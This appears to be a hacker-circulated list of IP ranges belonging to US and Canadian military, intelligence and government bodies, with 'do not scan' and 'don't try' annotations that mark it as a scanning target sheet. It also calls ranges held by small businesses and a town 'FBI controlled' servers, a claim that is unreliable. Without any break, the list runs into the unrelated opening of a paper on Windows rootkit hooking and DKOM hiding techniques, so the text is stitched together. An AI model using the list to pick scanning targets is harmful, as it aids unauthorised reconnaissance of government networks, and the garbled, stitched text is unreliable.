140.52.0.0 Defense Information Systems Agency
140.53.0.0 Defense Information Systems Agency
140.54.0.0 Defense Information Systems Agency
140.55.0.0 Defense Information Systems Agency
140.56.0.0 Defense Information Systems Agency
140.57.0.0 Defense Information Systems Agency
140.58.0.0 Defense Information Systems Agency
140.59.0.0 Defense Information Systems Agency
140.60.0.0 Defense Information Systems Agency
140.61.0.0 Defense Information Systems Agency
140.62.0.0 Defense Information Systems Agency
140.63.0.0 Defense Information Systems Agency
140.64.0.0 Defense Information Systems Agency
140.65.0.0 Defense Information Systems Agency
140.66.0.0 Defense Information Systems Agency
140.67.0.0 Defense Information Systems Agency
140.68.0.0 Defense Information Systems Agency
140.69.0.0 Defense Information Systems Agency
140.70.0.0 Defense Information Systems Agency
140.71.0.0 Defense Information Systems Agency
140.72.0.0 Defense Information Systems Agency
140.73.0.0 Defense Information Systems Agency
140.74.0.0 - 140.74.255.255 Defense Information Systems Agency
140.100.0.0 Naval Sea Systems Command
140.139.0.0 HQ US Army Medical Research and Development Command
140.154.0.0 HQ 5th Signal Command
140.155.0.0 HQ, 5th Signal Command
140.156.0.0 HQ, 5th Signal Command
140.175.0.0 Scott Air Force Base
140.178.0.0 Naval Undersea Warfare Center Division, Keyport
140.187.0.0 Fort Bragg
140.194.0.0 US Army Corps of Engineers
140.195.0.0 Naval Sea Systems Command
140.199.0.0 Naval Ocean Systems Center
140.201.0.0 HQ, 5th Signal Command
140.202.0.0 106TH SIGNAL BRIGADE

RANGE 143
143.45.0.0 58th Signal Battalion
143.46.0.0 U.S. Army, 1141st Signal Battalion
143.68.0.0 Headquarters, USAISC
143.69.0.0 Headquarters, USAAISC
143.70.0.0 Headquarters, USAAISC
143.71.0.0 Headquarters, USAAISC
143.72.0.0 Headquarters, USAAISC
143.73.0.0 Headquarters, USAAISC
143.74.0.0 Headquarters, USAAISC
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143.75.0.0 Headquarters, USAAISC
143.76.0.0 Headquarters, USAAISC
143.77.0.0 Headquarters, USAAISC
143.78.0.0 Headquarters, USAAISC
143.79.0.0 Headquarters, USAAISC
143.80.0.0 Headquarters, USAAISC
143.81.0.0 Headquarters, USAAISC
143.82.0.0 Headquarters, USAAISC
143.84.0.0 Headquarters, USAAISC
143.85.0.0 Headquarters, USAAISC
143.86.0.0 Headquarters, USAAISC
143.87.0.0 Headquarters, USAAISC
143.232.0.0 NASA Ames Research Center

RANGE 144
144.99.0.0 United States Army Information Systems Command
144.109.0.0 Army Information Systems Command
144.143.0.0 Headquarters, Third United States Army
144.144.0.0 Headquarters, Third United States Army
144.146.0.0 Commander, Army Information Systems Center
144.147.0.0 Commander, Army Information Systems Center
144.170.0.0 HQ, 5th Signal Command
144.192.0.0 United States Army Information Services Command-Campbell
144.233.0.0 Defense Intelligence Agency
144.234.0.0 Defense Intelligence Agency
144.235.0.0 Defense Intelligence Agency
144.236.0.0 Defense Intelligence Agency
144.237.0.0 Defense Intelligence Agency
144.238.0.0 Defense Intelligence Agency
144.239.0.0 Defense Intelligence Agency
144.240.0.0 Defense Intelligence Agency
144.241.0.0 Defense Intelligence Agency
144.242.0.0 Defense Intelligence Agency
144.252.0.0 U.S. Army LABCOM

RANGE 146
146.17.0.0 HQ, 5th Signal Command
146.80.0.0 Defence Research Agency
146.98.0.0 HQ United States European Command
146.154.0.0 NASA/Johnson Space Center
146.165.0.0 NASA Langley Research Center

RANGE 147
147.35.0.0 HQ, 5th Signal Command
147.36.0.0 HQ, 5th Signal Command
147.37.0.0 HQ, 5th Signal Command
147.38.0.0 HQ, 5th Signal Command
147.39.0.0 HQ, 5th Signal Command
147.40.0.0 HQ, 5th Signal Command
147.42.0.0 Army CALS Project
147.103.0.0 Army Information Systems Software Center
147.104.0.0 Army Information Systems Software Center
147.159.0.0 Naval Air Warfare Center, Aircraft Division
147.168.0.0 Naval Surface Warfare Center
147.169.0.0 HQ, 5th Signal Command
147.198.0.0 Army Information Systems Command
147.199.0.0 Army Information Systems Command
147.238.0.0 Army Information Systems Command
147.239.0.0 1112th Signal Battalion
147.240.0.0 US Army Tank-Automotive Command
147.242.0.0 19th Support Command
147.248.0.0 Fort Monroe DOIM
147.254.0.0 7th Communications Group

RANGE 148
148.114.0.0 NASA, Stennis Space Center

RANGE 150
150.113.0.0 1114th Signal Battalion
150.114.0.0 1114th Signal Battalion
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150.125.0.0 Space and Naval Warfare Command
150.133.0.0 10th Area Support Group
150.144.0.0 NASA Goodard Space Flight Center
150.149.0.0 Army Information Systems Command
150.157.0.0 USAISC-Fort Lee
150.184.0.0 Fort Monroe DOIM
150.190.0.0 USAISC-Letterkenny
150.196.0.0 USAISC-LABCOM

RANGE 152
152.82.0.0 7th Communications Group of the Air Force
152.151.0.0 U.S. Naval Space & Naval Warfare Systems Command
152.152.0.0 NATO Headquarters
152.154.0.0 Defense Information Systems Agency
152.229.0.0 Defense MegaCenter (DMC) Denver

RANGE 153
153.21.0.0 USCENTAF/SCM
153.22.0.0 USCENTAF/SCM
153.23.0.0 USCENTAF/SCM
153.24.0.0 USCENTAF/SCM
153.25.0.0 USCENTAF/SCM
153.26.0.0 USCENTAF/SCM
153.27.0.0 USCENTAF/SCM
153.28.0.0 USCENTAF/SCM
153.29.0.0 USCENTAF/SCM
153.30.0.0 USCENTAF/SCM
153.31.0.0 Federal Bureau of Investigation

RANGE 155
155.5.0.0 1141st Signal Bn
155.6.0.0 1141st Signal Bn
155.7.0.0 American Forces Information
155.8.0.0 U.S. ArmyFort Gordon
155.9.0.0 - 155.9.255.255 United States Army Information Systems Command
155.74.0.0 PEO STAMIS
155.75.0.0 US Army Corps of Engineers
155.76.0.0 PEO STAMIS
155.77.0.0 PEO STAMIS
155.78.0.0 PEO STAMIS
155.79.0.0 US Army Corps of Engineers
155.80.0.0 PEO STAMIS
155.81.0.0 PEO STAMIS
155.82.0.0 PEO STAMIS
155.83.0.0 US Army Corps of Enginers
155.84.0.0 PEO STAMIS
155.85.0.0 PEO STAMIS
155.86.0.0 US Army Corps of Engineers
155.87.0.0 PEO STAMIS
155.88.0.0 PEO STAMIS
155.96.0.0 Drug Enforcement Administration
155.149.0.0 1112th Signal Battalion
155.155.0.0 HQ, 5th Signal Command
155.178.0.0 Federal Aviation Administration
155.213.0.0 USAISC Fort Benning
155.214.0.0 Director of Information Management
155.215.0.0 USAISC-FT DRUM
155.216.0.0 TCACCIS Project Management Office
155.217.0.0 Directorate of Information Management
155.218.0.0 USAISC
155.219.0.0 DOIM/USAISC Fort Sill
155.220.0.0 USAISC-DOIM
155.221.0.0 USAISC-Ft Ord

RANGE 156
156.9.0.0 U. S. Marshals Service

RANGE 157
157.150.0.0 United Nations
157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET
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157.202.0.0 US Special Operations Command
157.217.0.0 U. S. Strategic Command

RANGE 158
158.1.0.0 Commander, Tooele Army Depot
158.2.0.0 USAMC Logistics Support Activity
158.3.0.0 U.S. Army TACOM
158.4.0.0 UASISC Ft. Carson
158.5.0.0 1112th Signal Battalion
158.6.0.0 USAISC-Ft. McCoy
158.7.0.0 USAISC-FLW
158.8.0.0 US Army Soldier Support Center
158.9.0.0 USAISC-CECOM
158.10.0.0 GOC
158.11.0.0 UASISC-Vint Hill
158.12.0.0 US Army Harry Diamond Laboratories
158.13.0.0 USAISC DOIM
158.14.0.0 1112th Signal Battalion
158.15.0.0 - 158.15.255.255 Defense Megacenter Huntsville
158.16.0.0 Rocky Mountain Arsenal (PMRMA)
158.17.0.0 Crane Army Ammunition Activity
158.18.0.0 Defense Finance & Accounting Service Center
158.19.0.0 DOIM
158.20.0.0 DOIM
158.235.0.0 Marine Corps Central Design and Programming Activity
158.243.0.0 Marine Corps Central Design and Programming Activity
158.244.0.0 Marine Corps Central Design and Programming Activity
158.245.0.0 Marine Corps Central Design and Programming Activity
158.246.0.0 Marine Corps Central Design and Programming Activity

RANGE 159
159.120.0.0 Naval Air Systems Command (Air 4114)

RANGE 160
160.132.0.0 US Army Recruiting Command
160.135.0.0 36th Signal BN
160.138.0.0 USAISC
160.139.0.0 USAISC
160.140.0.0 HQ, United States Army
160.143.0.0 USAISC
160.145.0.0 1101st Signal Brigade
160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS
160.150.0.0 Commander, Moncrief Army Hospital

RANGE 161
161.124.0.0 NAVAL WEAPONS STATION

RANGE 162
162.32.0.0 Naval Aviation Depot Pensacola
162.45.0.0 Central Intelligence Agency
162.46.0.0 Central Intelligence Agency

RANGE 163
163.205.0.0 NASA Kennedy Space Center
163.206.0.0 NASA Kennedy Space Center

RANGE 164
164.45.0.0 Naval Ordnance Center, Pacific Division
164.49.0.0 United States Army Space and Strategic Defense
164.158.0.0 Naval Surface Warfare Center
164.217.0.0 Institute for Defense Analyses
164.218.0.0 Bureau of Naval Personnel
164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER
164.220.0.0 - 164.220.255.255 NIMIP/TIP/NEWNET
164.221.0.0 - 164.221.255.255 Information Technology
164.223.0.0 Naval Undersea Warfare Center
164.224.0.0 Secretary of the Navy
164.225.0.0 U.S. Army Intelligence and Security Command
164.226.0.0 Naval Exchange Service Command
164.227.0.0 Naval Surface Warfare Center, Crane Division
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164.228.0.0 USCINCPAC J21T
164.229.0.0 NCTS-NOLA
164.230.0.0 Naval Aviation Depot
164.231.0.0 Military Sealift Command
164.232.0.0 - 164.232.255.255 United States Southern Command

RANGE 167
167.44.0.0 Government Telecommunications Agency

RANGE 168
168.68.0.0 USDA Office of Operations
168.85.0.0 Fort Sanders Alliance
168.102.0.0 Indiana Purdue Fort Wayne

RANGE 169
169.252.0.0 - 169.253.0.0 U.S. Department of State

RANGE 194

RANGE 195
195.10.* Various - Do not scan

RANGE 199
199.121.4.0 - 199.121.253.0 Naval Air Systems Command, VA

RANGE 203
203.59.0.0 - 203.59.255.255 Perth Australia iiNET

RANGE 204
204.34.0.0 - 204.34.15.0 IPC JAPAN
204.34.0.0 - 204.37.255.0 DOD Network Information Center
204.34.16.0 - 204.34.27.0 Bureau of Medicine and Surgery
204.34.32.0 - 204.34.63.0 USACOM
204.34.64.0 - 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE
204.34.128.0 DISA-Eucom / BBN-STD, Inc.
204.34.129.0 Defense Technical Information Center
204.34.130.0 GSI
204.34.131.0 NSA NAPLES ITALY
204.34.132.0 NAVSTA ROTA SPAIN
204.34.133.0 NAS SIGONELLA ITALY
204.34.134.0 Naval Air Warfare Center Aircraft Division
204.34.135.0 GSI
204.34.136.0 Naval Undersea Warfare Center USRD - Orlando
204.34.137.0 Joint Spectrum Center
204.34.138.0 GSI
204.34.139.0 HQ, JFMO Korea, Headquarters
204.34.140.0 DISA D75
204.34.141.0 U. S. Naval Air Facility, Atsugi Japan
204.34.142.0 Naval Enlisted Personnel Management Center
204.34.143.0 Afloat Training Group Pacific
204.34.144.0 HQ Special Operations Command - Europe
204.34.145.0 Commander Naval Base Pearl Harbor
204.34.147.0 NAVSEA Information Management Improvement Program
204.34.148.0 Q112
204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures
204.34.150.0 Resource Consultants, Inc.
204.34.151.0 Personnel Support Activity, San Diego
204.34.152.0 NAVAL AIR FACILITY, ADAK
204.34.153.0 NAVSEA Logistics Command Detachment
204.34.154.0 PEARL HARBOR NAVAL SHIPYARD
204.34.155.0 PEARL HARBOR NAVAL SHIPYARD
204.34.156.0 Defense Photography School
204.34.157.0 - 204.34.160.0 Defense Information School
204.34.161.0 Naval Air Systems Command
204.34.162.0 Puget Sound Naval Shipyard
204.34.163.0 Joint Precision Strike Demonstration
204.34.164.0 Naval Pacific Meteorology and Ocean
204.34.165.0 Joint Precision Strike Demonstration
204.34.167.0 USAF
204.34.168.0 Commander
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204.34.169.0 Naval Air Warfare Center
204.34.170.0 Naval Air Systems Command
204.34.171.0 NAVSTA SUPPLY DEPARTMENT
204.34.173.0 SUBMEPP Activity
204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN
204.34.176.0 DISA-PAC,IPC-GUAM
204.34.177.0 Satellite Production Test Center
204.34.181.0 940 Air Refueling Wing
204.34.182.0 Defense Megacenter Warner Robins
204.34.183.0 GCCS Support Facility
204.34.184.0 Nav Air Tech Serv Facility-Detachment
204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA
204.34.186.0 Defense Logistics Agency - Europe
204.34.187.0 NAVMASSO
204.34.188.0 Commander-In-Chief, US Pacific Fleet
204.34.189.0 Defense MegaCenter - St Louis
204.34.190.0 NAVMASSO
204.34.192.0 HQ SOCEUR
204.34.193.0 Second Marine Expeditionary Force
204.34.194.0 Second Marine Expeditionary Force
204.34.195.0 Second Marine Expeditionary Force
204.34.196.0 NAVCOMTELSTAWASHDC
204.34.197.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.198.0 Naval Observatory Detachment, Colorado
204.34.199.0 NAVILCODETMECH
204.34.200.0 Navy Environmental Preventive Medicine
204.34.201.0 Port Hueneme Division, Naval Surf
204.34.202.0 Naval Facilities Engineering Housing
204.34.203.0 NAVSEA Logistics Command Detachment
204.34.204.0 Naval Air Warfare Center
204.34.205.0 Portsmouth Naval Shipyard
204.34.206.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.208.0 - 204.34.210.0 Military Sealift Command Pacific
204.34.211.0 USAF Academy
204.34.212.0 3rd Combat Service Support
204.34.213.0 1st Radio Battalion
204.34.214.0 OASD (Health Affairs)
204.34.215.0 Second Marine Expeditionary Force
204.34.216.0 1st Marine Air Wing
204.34.217.0 SA-ALC/LTE
204.34.218.0 3rd Marine
204.34.219.0 Communications and Electronics
204.34.220.0 G-6 Operations
204.34.221.0 G-6 Operations
204.34.222.0 G-6 Operations
204.34.223.0 G-6 Operations
204.34.224.0 G-6 Operations
204.34.225.0 Joint Interoperability Test Command
204.34.226.0 NAVMASSO
204.34.227.0 NAVMASSO
204.34.228.0 - 204.34.228.255 Field Command Defense Nuclear Agency
204.34.229.0 Naval Space Command
204.34.230.0 Naval Pacific Meteorology and Oceanography
204.34.232.0 Military Family Housing
204.34.233.0 - 204.34.233.255 Navy Material Transportation Office
204.34.234.0 NAVMASSO
204.34.235.0 Defense Finance and Accounting Service
204.34.237.0 European Stars and Stripes
204.34.238.0 Pacific Stars and Stripes
204.34.239.0 PUGET SOUND NAVAL SHIPYARD
204.34.240.0 Nval Station, Guantanamo Bay
204.34.242.0 COMNAVSURFPAC
204.34.243.0 NAVMASSO
204.34.244.0 Amphibious Force, Seventh Fleet, U. S. Navy
204.34.245.0 USAF SpaceCommand
204.34.246.0 USAF
204.34.247.0 U.S. Army Special Operations Command
204.34.248.0 FLEET COMBAT TRAINING CENTER ATLA
204.34.249.0 Naval Aviation Depot North Island
204.34.250.0 NAVMASSO
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204.34.251.0 NAVSEA Log Command Detachment Pacific
204.34.252.0 Command Special Boat Squadron One
204.34.253.0 AFPCA/GNNN
204.34.254.0 Navy Environmental Preventive Medicine

RANGE 205
205.0.0.0 - 205.117.255.0 Department of the Navy, Space and Naval
Warfare System Command, Washington DC - SPAWAR
205.96.* - 205.103.*

RANGE 207
207.30.* Sprint/United Telephone of Florida

All the below are FBI controlled Linux servers & IPs/IP-Ranges

207.60.0.0 - 207.60.255.0 The Internet Access Company
207.60.2.128 - 207.60.2.255 Abacus Technology
207.60.3.0 - 207.60.3.127 Mass Electric Construction Co.
207.60.3.128 - 207.60.3.255 Peabody Proberties Inc
207.60.4.0 - 207.60.4.127 Northern Electronics
207.60.4.128 - 207.60.4.255 Posternak, Blankstein & Lund
207.60.5.64 - 207.60.5.127 Woodard & Curran
207.60.5.192 - 207.60.5.255 On Line Services
207.60.6.0 - 207.60.6.63 The 400 Group
207.60.6.64 - 207.60.6.127 RD Hunter and Company
207.60.6.128 - 207.60.6.191 Louis Berger and Associates
207.60.6.192 - 207.60.6.255 Ross-Simons
207.60.7.0 - 207.60.7.63 Eastern Cambridge Savings Bank
207.60.7.64 - 207.60.7.127 Greater Lawrence Community Action Committee
207.60.7.128 - 207.60.7.191 Data Electronic Devices, Inc
207.60.8.0 - 207.60.8.255 Sippican
207.60.9.0 - 207.60.9.31 Alps Sportswear Mfg Co
207.60.9.32 - 207.60.9.63 Escher Group Ltd
207.60.9.64 - 207.60.9.95 West Suburban Elder
207.60.9.96 - 207.60.9.127 Central Bank
207.60.9.128 - 207.60.9.159 Danick Systems
207.60.9.160 - 207.60.9.191 Alps Sportswear Mfg CO
207.60.9.192 - 207.60.9.223 BSCC
207.60.13.16 - 207.60.13.23 Patrons Insurance Group
207.60.13.40 - 207.60.13.47 Athera Technologies
207.60.13.48 - 207.60.13.55 Service Edge Partners Inc
207.60.13.56 - 207.60.13.63 Massachusetts Credit Union League
207.60.13.64 - 207.60.13.71 SierraCom
207.60.13.72 - 207.60.13.79 AI/ FOCS
207.60.13.80 - 207.60.13.87 Extreme soft
207.60.13.96 - 207.60.13.103 Eaton Seo Corp
207.60.13.112 - 207.60.13.119 C. White
207.60.13.120 - 207.60.13.127 Athera
207.60.13.128 - 207.60.13.135 Entropic Systems, INC
207.60.13.136 - 207.60.13.143 Wood Product Manufactureds Associates
207.60.13.160 - 207.60.13.167 Jamestown Distribution
207.60.13.168 - 207.60.13.175 C&M Computers
207.60.13.176 - 207.60.13.183 ABC Used Auto Parts
207.60.13.184 - 207.60.13.191 Tomas Weldon
207.60.13.192 - 207.60.13.199 Tage Inns
207.60.13.200 - 207.60.13.207 Control Module Inc
207.60.13.208 - 207.60.13.215 Hyper Crawler Information Systems
207.60.13.216 - 207.60.13.223 Eastern Bearings
207.60.13.224 - 207.60.13.231 North Shore Data Services
207.60.13.232 - 207.60.13.239 Mas New Hampshire
207.60.14.0 - 207.60.14.255 J. A. Webster
207.60.15.0 - 207.60.15.127 Trilogic
207.60.16.0 - 207.60.16.255 Area 54
207.60.18.0 - 207.60.18.63 Vested Development Inc
207.60.18.64 - 207.60.18.127 Conventures
207.60.21.0 - 207.60.21.255 Don Law Company
207.60.22.0 - 207.60.22.255 Advanced Microsensors
207.60.28.0 - 207.60.28.63 Applied Business Center
207.60.28.64 - 207.60.28.127 Color and Design Exchange
207.60.36.8 - 207.60.36.15 Shaun McCusker
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207.60.36.16 - 207.60.36.23 Town of Framingham
207.60.36.24 - 207.60.36.31 AB Software
207.60.36.32 - 207.60.36.39 Seabass Dreams Too Much, Inc
207.60.36.40 - 207.60.36.47 Next Ticketing
207.60.36.48 - 207.60.36.55 Dulsi
207.60.36.56 - 207.60.36.63 The Internet Access Company
207.60.36.64 - 207.60.36.71 Maguire Group
207.60.36.72 - 207.60.36.79 Cogenex
207.60.36.88 - 207.60.36.95 AKNDC
207.60.36.96 - 207.60.36.103 McGovern election commitee
207.60.36.104 - 207.60.36.111 Digital Equipment Corp
207.60.36.112 - 207.60.36.119 PTR - Precision Technologies
207.60.36.120 - 207.60.36.127 Extech
207.60.36.128 - 207.60.36.135 Manfreddi Architects
207.60.36.144 - 207.60.36.151 Parent Naffah
207.60.36.152 - 207.60.36.159 Darling Dolls Inc
207.60.36.160 - 207.60.36.167 Wright Communications
207.60.36.168 - 207.60.36.175 Principle Software
207.60.36.176 - 207.60.36.183 Chris Pet Store
207.60.36.184 - 207.60.36.191 Fifteen Lilies
207.60.36.192 - 207.60.36.199 All-Com Technologies
207.60.37.0 - 207.60.37.31 Cardio Thoracic Surgical Associates, P. A.
207.60.37.32 - 207.60.37.63 Preferred Fixtures Inc
207.60.37.64 - 207.60.37.95 Apple and Eve Distributors
207.60.37.96 - 207.60.37.127 Nelson Copy Supply
207.60.37.128 - 207.60.37.159 Boston Optical Fiber
207.60.37.192 - 207.60.37.223 Fantasia&Company
207.60.41.0 - 207.60.41.255 Infoactive
207.60.48.0 - 207.60.48.255 Curry College
207.60.62.32 - 207.60.62.63 Alternate Power Source
207.60.62.64 - 207.60.62.95 Keystone Howley-White
207.60.62.128 - 207.60.62.159 Bridgehead Associates LTD
207.60.62.160 - 207.60.62.191 County Supply
207.60.62.192 - 207.60.62.223 NH Board of Nursing
207.60.64.0 - 207.60.64.63 Diversified Wireless Technologies
207.60.64.64 - 207.60.64.127 Phytera
207.60.66.0 - 207.60.66.15 The Network Connection
207.60.66.16 - 207.60.66.31 Young Refrigeration
207.60.66.32 - 207.60.66.47 Vision Appraisal Technology
207.60.66.48 - 207.60.66.63 EffNet Inc
207.60.66.64 - 207.60.66.79 Entropic Systems Inc
207.60.66.80 - 207.60.66.95 Finley Properties
207.60.66.96 - 207.60.66.111 Nancy Plowman Associates
207.60.66.112 - 207.60.66.127 Northeast Financial Strategies
207.60.66.128 - 207.60.66.143 Textnology Corp
207.60.66.144 - 207.60.66.159 Groton Neochem LLC
207.60.66.160 - 207.60.66.175 Tab Computers
207.60.66.176 - 207.60.66.191 Patrons Insurance
207.60.66.192 - 207.60.66.207 Chair City Web
207.60.66.208 - 207.60.66.223 Radex, Inc.
207.60.66.224 - 207.60.66.239 Robert Austein
207.60.66.240 - 207.60.66.255 Hologic Inc.
207.60.71.64 - 207.60.71.127 K-Tech International Inc.
207.60.71.128 - 207.60.71.191 Pan Communications
207.60.71.192 - 207.60.71.255 New England College of Finance
207.60.75.128 - 207.60.75.255 Absolve Technology
207.60.78.0 - 207.60.78.127 Extech
207.60.78.128 - 207.60.78.255 The Insight Group
207.60.83.0 - 207.60.83.255 JLM Technologies
207.60.84.0 - 207.60.84.255 Strategic Solutions
207.60.94.0 - 207.60.94.15 McWorks
207.60.94.32 - 207.60.94.47 Rooney RealEstate
207.60.94.48 - 207.60.94.63 Joseph Limo Service
207.60.94.64 - 207.60.94.79 The Portico Group
207.60.94.80 - 207.60.94.95 Event Travel Management Inc
207.60.94.96 - 207.60.94.111 Intellitech International
207.60.94.128 - 207.60.94.143 Orion Partners
207.60.94.144 - 207.60.94.159 Rainbow Software Solution
207.60.94.160 - 207.60.94.175 Grason Stadler Inc
207.60.94.192 - 207.60.94.207 Donnegan System
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207.60.95.1 - 207.60.95.255 The Iprax Corp
207.60.102.0 - 207.60.102.63 Coporate IT
207.60.102.64 - 207.60.102.127 Putnam Technologies
207.60.102.128 - 207.60.102.191 Sycamore Networks
207.60.102.192 - 207.60.102.255 Bostek
2?7.6?.10?.128 - 207.60.103.255 Louis Berger and Associates
207.60.104.128 - 207.60.104.191 Hanson Data Systems
207.60.106.128 - 207.60.106.255 Giganet Inc.
207.60.107.0 - 207.60.107.255 Roll Systems
207.60.108.8 - 207.60.108.15 InternetQA
207.60.111.0 - 207.60.111.31 Reading Cooperative Bank
207.60.111.32 - 207.60.111.63 Edco collaborative
207.60.111.64 - 207.60.111.95 DTC Communications Inc
207.60.111.96 - 207.60.111.127 Mike Line
207.60.111.128 - 207.60.111.159 The Steppingstone Foundation
207.60.111.160 - 207.60.111.191 Caton Connector
207.60.111.192 - 207.60.111.223 Refron
207.60.111.224 - 207.60.111.255 Dolabany Comm Group
207.60.112.0 - 207.60.112.255 The CCS Companies
207.60.116.0 - 207.60.116.255 Continental PET Technologies
207.60.122.16 - 207.60.122.23 Corey & Company Designers Inc
207.60.122.24 - 207.60.122.31 SAIC
207.60.122.32 - 207.60.122.39 Netserve Entertainment Group
207.60.122.40 - 207.60.122.47 Avici Systems Inc
207.60.122.48 - 207.60.122.55 Webrdwne
207.60.122.56 - 207.60.122.63 Reality and Wonder
207.60.122.64 - 207.60.122.71 Nishan Desilva
207.60.122.72 - 207.60.122.79 NemaSoft Inc
207.60.122.80 - 207.60.122.87 Patrick Murphy
207.60.122.88 - 207.60.122.95 Corey and Company
207.60.122.96 - 207.60.122.103 Ames Textile Corp
207.60.122.104 - 207.60.122.111 Publicom
207.60.127.0 - Northstar Technologies
207.60.128.0 - 207.60.128.255 Northstar Technologies
207.60.129.0 - 207.60.129.255 Sanga Corp
207.60.129.64 - 207.60.129.127 Fired Up Network
207.60.129.128 - 207.60.129.191 Integrated Data Solutions
207.60.129.192 - 207.60.129.255 Metanext
207.61.* WorldLinx Telecommunications, Inc., Canada
207.120.* BBN Planet, MA

RANGE 208
208.240.xxx.xxx

RANGE 209
209.35.* Interland, Inc., GA

RANGE 212
212.56.107.22
212.143 *** israelis isp’s!! dont try those ranges!!
212.149.*** israelis isp’s!! dont try those ranges!!
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.33.56
212.159.40.211
212.159.41.173
212.179.*** israelis isp’s!! dont try those ranges!!
212.208.0.12.*** israelis isp’s!! dont try those ranges!!

RANGE 213
213.8.***.*** israelis isp’s!! dont try those ranges!!

RANGE 216
216.25.* 216.94.***.*** 216.247.* 216.248.*.* 217
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217.6.* Do not scan

--------------------------------

And from our Canadian friends...

192.139.201.0 - 192.139.201.24 : Government of Canada
192.139.202.0 - 192.139.202.24 : Government of Canada
192.139.203.0 - 192.139.203.24 : Government of Canada
192.139.204.0 - 192.139.204.24 : Government of Canada
192.197.83.0 - 192.197.83.24 : Government of Canada
198.103.0.0 - 198.103.0.16 : Government of Canada

128.43.0.0 - 128.43.0.16 : Canadian Department of National Defense (DND)
131.132.0.0 - 131.132.0.16 : Canadian Department of National Defense (DND)
131.133.0.0 - 131.133.0.16 : Canadian Department of National Defense (DND)
131.134.0.0 - 131.134.0.16 : Canadian Department of National Defense (DND)
131.135.0.0 - 131.135.0.16 : Canadian Department of National Defense (DND)
131.136.0.0 - 131.136.0.16 : Canadian Department of National Defense (DND)
131.137.0.0 - 131.137.0.16 : Canadian Department of National Defense (DND)
131.138.0.0 - 131.138.0.16 : Canadian Department of National Defense (DND)
131.139.0.0 - 131.139.0.16 : Canadian Department of National Defense (DND)
131.140.0.0 - 131.140.0.16 : Canadian Department of National Defense (DND)
131.141.0.0 - 131.141.0.16 : Canadian Department of National Defense (DND)
192.5.144.0 - 192.5.144.24 : Canadian Department of National Defense (DND)
192.12.98.0 - 192.12.98.24 : Canadian Department of National Defense (DND)
192.12.215.0 - 192.12.215.24 : Canadian Department of National Defense
(DND)
192.16.205.0 - 192.16.205.24 : Canadian Department of National Defense
(DND)
192.16.206.0 - 192.16.206.24 : Canadian Department of National Defense
(DND)
192.16.207.0 - 192.16.207.24 : Canadian Department of National Defense
(DND)
192.16.208.0 - 192.16.208.24 : Canadian Department of National Defense
(DND)
192.16.242.0 - 192.16.242.24 : Canadian Department of National Defense
(DND)
192.16.243.0 - 192.16.243.24 : Canadian Department of National Defense
(DND)
192.35.144.0 - 192.35.144.24 : Canadian Department of National Defense
(DND)
192.42.68.0 - 192.42.68.24 : Canadian Department of National Defense (DND)
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---[ 1 - Introduction on anti-rookits technologies and bypass
    
Nowadays rootkits and anti-rootkits are becoming more and more important
into the IT security landscape. Loved by some, hated by others, rootkits 
can be considered as the holy grail of backdoors : stealthy, little, 
close to hardware, ingenious, vicious... Their control over a computer 
locally or remotely make them the best choice for an attacker. 
Anti-rootkits try to detect and eradicate those malicious programs. 
Rk techniques and complexity are evolving fast and today developing a rk or
anti-rk is a very hard mission. 

This paper deals about rootkits on Windows platform. More precisely about
new kind of hijacking techniques that can be applied to the Windows kernel.
Readers are assumed to be aware about rootkits techniques on Windows.

----[ 1.1 - Rootkits and anti-rootkits technics

A rootkit hijacks an operating system’s behavior. In order to achieve this
task, it can simply modify the operating system’s binaries but that’s not 
very stealthy. Most rk’s use hooks on important functions and change theirs
results. A basic hook redirects execution flow by changing function start 
or a function pointer but there is no single way to hook a routine. The 
most common example is the SSDT (System Service Descriptor Table), this 
table contains the syscall list which is a set of functions pointers. If 
you can modify a pointer in this table, you are able to control the 
behavior of one function. That’s an example of how rootkits proceed, 
obviously there is a lot of critical areas that can be controlled by an 
attacker.
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Anti-rootkits try to check those areas, but the task is very hard. Most of 
the time, anti-rk software makes a comparison between the memory image of 
the program and its binary on the disk or verify some function pointer 
tables to see if something has changed.

That’s how the war between rk-makers and anti-rk-junkies began, trying 
to find the best way, the best area, for hooking critical operating 
system features. On Windows those following areas are often used by 
rootkits :

- SSDT (kernel syscalls table) and shadow SSDT (win32k syscall table) are 
the simplest solution.

- MSR (Model Specific Registers) can be modified by a rootkit. On Windows 
the MSR_SYSENTER_EIP is used by the assembly instructions ’sysenter’ to 
enter into ring0 mode. Hijacking this MSR allow an attacker to control
the system.

- MajorFunctions are functions used by drivers for I/O processing with 
others devices, hooking those functions can be useful for a rootkit.

- IDT (Interrupt Descriptor Table) is table used by the system for 
handling exceptions and interruptions. 

Another kind of techniques has appeared. By accessing to the kernel 
objects a rootkit can easily change information about processes, threads, 
loaded modules and other stuff. Those techniques are called DKOM (Direct 
Kernel Object Manipulation). For example, the Windows kernel maintains a 
double linked list called PsActiveProcessList (EPROCESS structures) 
containing information about running processes. Unlink one of them and 
your process will disappear from process lists like task manager, whereas 
the process is still running.

To block those kernel objects modifications, anti-rk checks other 
sections. For processes, they used to read the PspCidTable which 
has a table of PID (Process IDentifier) and TID (Thread IDentifier).
A comparison between this table and PsActiveProcessList shows hidden
processes. Against those attacks anti-rk tools have to find others
sections and tricks to detect altered objects.

One of the first paper about Windows stealth was written by Holy Father, 
"Invisibility on NT boxes" [1]. With this paper came one of the first 
public implementations of a rootkit with a ring0 driver, Hacker 
Defender [2], coded by Holy Father and Ratter of the famous VXing mag 29A 
[3]. This driver was able to elevate process rights using token 
manipulation. The rest of the rootkit uses user-land hooks to perform files
and registry hiding, process infection with dll injection. A good example 
of a full ring0 rootkit is NT Rootkit of Greg Hoglund [4], this driver uses
SSDT hooks to perform stealth operation. It registers a Filter Device 
Object above the NTFS file system and above the keyboard device for 
filtering IRP (I/O Request Packets). It also provides a NDIS protocol 
driver to hide communication on the network. Even if this rk was written 
for NT 4.0 and Win2K it’s a perfect example for beginners. 

